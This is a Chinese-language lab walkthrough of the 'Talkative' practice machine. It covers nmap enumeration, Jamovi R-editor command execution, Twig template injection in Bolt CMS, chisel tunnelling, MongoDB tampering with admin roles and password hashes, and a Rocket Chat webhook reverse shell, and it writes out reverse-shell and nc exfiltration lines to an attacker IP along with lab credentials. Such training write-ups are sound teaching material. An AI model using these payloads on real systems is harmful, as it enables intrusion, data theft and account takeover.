多种技巧实战之Talkative
字数 2064 2025-08-24 07:48:33

Talkative 渗透测试实战教学文档

一、信息收集阶段

1. 端口扫描

  • 使用工具:nmap
  • 发现开放端口:
    • 80端口:Apache服务
    • 8080、8081、8082端口:Tornado框架(基于Python的Web框架)
    • 3000端口:类似HTTP服务
  • 操作系统推测:基于Apache版本,可能运行Ubuntu 22.04 jammy

2. 目录爆破

  • 使用工具:wfuzz
  • 对80端口进行爆破,未发现有用信息
  • 访问80端口发现公司介绍网站,模板适用于聊天/通话应用程序
  • 收集到多个邮箱和用户名,可用于后续爆破

3. 框架识别

  • 通过报错提示发现使用Bolt CMS(PHP编写)
  • 使用feroxbuster -x php进行目录fuzz,未发现可利用点

二、漏洞利用阶段

1. Rocket Chat实例(3000端口)

  • 可注册用户,但未发现直接可利用点

2. Jamovi框架RCE(8080端口)

  • 发现历史漏洞(CVE)
  • 在"分析"选项卡中找到"Rj Editor"编辑器
  • 命令执行方法:
    system("id", intern=TRUE)  # 测试命令执行
    system("whoami", intern=TRUE)  # 确认执行权限
    
  • 反弹shell命令:
    system("bash -c 'bash -i >& /dev/tcp/攻击者IP/443 0<&1'", intern=TRUE)
    

3. 第一次获取Shell

  • 使用nc监听443端口
  • 获取交互式shell:script /dev/null -c bash
  • 信息收集:
    • 查看网络连接:cat /proc/net/tcp
    • 查看进程:ps aux
    • 文件系统检查:无/home目录,有/root目录

4. 获取敏感信息

  • 在/root目录发现bolt-administration.omv文件
  • 使用nc传输文件到本地:
    • 接收端:nc -lvnp 4444 > bolt-administration.omv
    • 发送端:nc 攻击者IP 4444 < bolt-administration.omv
  • 检查文件:
    • MD5校验:md5sum bolt-administration.omv
    • 文件类型:file bolt-administration.omv
    • 解压查看:unzip -l bolt-administration.omv
  • 从解压后的JSON文件中获取用户凭据:
    • matt@talkative.htb:jeO09ufhWD<s
    • janit@talkative.htb:bZ89h}V<S_DA

三、权限提升阶段

1. Bolt CMS管理面板利用

  • 使用获取的凭据登录Bolt CMS
  • 检查配置文件发现限制:
    • 无法上传PHP文件
    • 使用base-2021主题

2. 模板编辑与命令执行

  • 路径:查看和编辑模板 → base-2021 → index.twig
  • 插入Twig模板命令执行payload:
    {{['bash -c "bash -i >& /dev/tcp/攻击者IP/4444 0<&1"']|filter('system')}}
    
  • 清除缓存使更改生效:维护 → 清除缓存

3. 第二次获取Shell

  • 确认主机为Docker容器(存在/.dockerenv文件)
  • 主机名:ba67799048d7,IP:172.17.0.10

4. SSH远程登录

  • 使用之前获取的凭据尝试SSH登录172.17.0.1
  • 成功登录后发现多个Docker容器:
    • 172.18.0.2:jamovi容器
    • 172.17.0.3:Rocket Chat(端口3000)
    • 172.17.0.4-19:其他服务
    • 172.17.0.2:无端口转发

5. MongoDB数据库利用

  • 上传nmap进行全端口扫描,发现27017端口(MongoDB)
  • 使用chisel建立隧道:
    • 攻击机启动服务端:
      ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse
      
    • 目标机连接:
      ./chisel client 攻击者IP:8000 R:27017:172.17.0.2:27017
      
  • 枚举数据库:
    • 连接MongoDB:mongo
    • 查看数据库:show dbs
    • 使用meteor数据库:use meteor
    • 查看用户集合:db.users.find()
  • 权限提升:
    • 修改管理员角色:
      db.users.update({"_id": "ZLMid6a4h5YEosPQi"}, {$set: {"roles" : ["admin"]}})
      
    • 重置管理员密码:
      db.getCollection('users').update({username:"administrator"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}}}})
      

6. Rocket Chat WebHook利用

  • 创建新WebHook:
    • 集成 → 新集成
    • 指向#general频道
  • 插入JavaScript反弹shell代码(来自revshells.com)
  • 触发WebHook获取第三个shell:
    curl http://talkative.htb:3000/hooks/WebHookID
    

四、最终权限提升

1. 使用CDK工具

  • 上传CDK工具(容器渗透测试专用工具)
  • 使用pwncat连接:
    pwncat-cs 攻击者IP:端口
    

2. 获取root.txt

  • 使用CDK读取root.txt:
    ./cdk run cap-dac-read-search /root/root.txt
    

五、总结与攻击路径

  1. 通过端口扫描发现多个服务
  2. 利用Jamovi框架的RCE漏洞获取初始shell
  3. 从容器中获取Bolt CMS管理员凭据
  4. 通过Twig模板注入获取第二个shell
  5. 通过SSH登录到主机
  6. 发现内网MongoDB服务并利用未授权访问
  7. 通过Rocket Chat WebHook获取第三个shell
  8. 使用CDK工具最终获取root权限

六、关键工具清单

  • 信息收集:nmap, wfuzz, feroxbuster
  • 漏洞利用:Rj Editor, Twig模板注入
  • 文件传输:nc
  • 隧道工具:chisel
  • 数据库工具:mongo client
  • 后渗透工具:CDK, pwncat
  • 反弹shell生成:revshells.com
Talkative 渗透测试实战教学文档 一、信息收集阶段 1. 端口扫描 使用工具: nmap 发现开放端口: 80端口:Apache服务 8080、8081、8082端口:Tornado框架(基于Python的Web框架) 3000端口:类似HTTP服务 操作系统推测:基于Apache版本,可能运行Ubuntu 22.04 jammy 2. 目录爆破 使用工具: wfuzz 对80端口进行爆破,未发现有用信息 访问80端口发现公司介绍网站,模板适用于聊天/通话应用程序 收集到多个邮箱和用户名,可用于后续爆破 3. 框架识别 通过报错提示发现使用Bolt CMS(PHP编写) 使用 feroxbuster -x php 进行目录fuzz,未发现可利用点 二、漏洞利用阶段 1. Rocket Chat实例(3000端口) 可注册用户,但未发现直接可利用点 2. Jamovi框架RCE(8080端口) 发现历史漏洞(CVE) 在"分析"选项卡中找到"Rj Editor"编辑器 命令执行方法: 反弹shell命令: 3. 第一次获取Shell 使用 nc 监听443端口 获取交互式shell: script /dev/null -c bash 信息收集: 查看网络连接: cat /proc/net/tcp 查看进程: ps aux 文件系统检查:无/home目录,有/root目录 4. 获取敏感信息 在/root目录发现 bolt-administration.omv 文件 使用 nc 传输文件到本地: 接收端: nc -lvnp 4444 > bolt-administration.omv 发送端: nc 攻击者IP 4444 < bolt-administration.omv 检查文件: MD5校验: md5sum bolt-administration.omv 文件类型: file bolt-administration.omv 解压查看: unzip -l bolt-administration.omv 从解压后的JSON文件中获取用户凭据: matt@talkative.htb:jeO09ufhWD <s janit@talkative.htb:bZ89h}V<S_ DA 三、权限提升阶段 1. Bolt CMS管理面板利用 使用获取的凭据登录Bolt CMS 检查配置文件发现限制: 无法上传PHP文件 使用base-2021主题 2. 模板编辑与命令执行 路径:查看和编辑模板 → base-2021 → index.twig 插入Twig模板命令执行payload: 清除缓存使更改生效:维护 → 清除缓存 3. 第二次获取Shell 确认主机为Docker容器(存在/.dockerenv文件) 主机名:ba67799048d7,IP:172.17.0.10 4. SSH远程登录 使用之前获取的凭据尝试SSH登录172.17.0.1 成功登录后发现多个Docker容器: 172.18.0.2:jamovi容器 172.17.0.3:Rocket Chat(端口3000) 172.17.0.4-19:其他服务 172.17.0.2:无端口转发 5. MongoDB数据库利用 上传 nmap 进行全端口扫描,发现27017端口(MongoDB) 使用 chisel 建立隧道: 攻击机启动服务端: 目标机连接: 枚举数据库: 连接MongoDB: mongo 查看数据库: show dbs 使用meteor数据库: use meteor 查看用户集合: db.users.find() 权限提升: 修改管理员角色: 重置管理员密码: 6. Rocket Chat WebHook利用 创建新WebHook: 集成 → 新集成 指向#general频道 插入JavaScript反弹shell代码(来自revshells.com) 触发WebHook获取第三个shell: 四、最终权限提升 1. 使用CDK工具 上传CDK工具(容器渗透测试专用工具) 使用pwncat连接: 2. 获取root.txt 使用CDK读取root.txt: 五、总结与攻击路径 通过端口扫描发现多个服务 利用Jamovi框架的RCE漏洞获取初始shell 从容器中获取Bolt CMS管理员凭据 通过Twig模板注入获取第二个shell 通过SSH登录到主机 发现内网MongoDB服务并利用未授权访问 通过Rocket Chat WebHook获取第三个shell 使用CDK工具最终获取root权限 六、关键工具清单 信息收集:nmap, wfuzz, feroxbuster 漏洞利用:Rj Editor, Twig模板注入 文件传输:nc 隧道工具:chisel 数据库工具:mongo client 后渗透工具:CDK, pwncat 反弹shell生成:revshells.com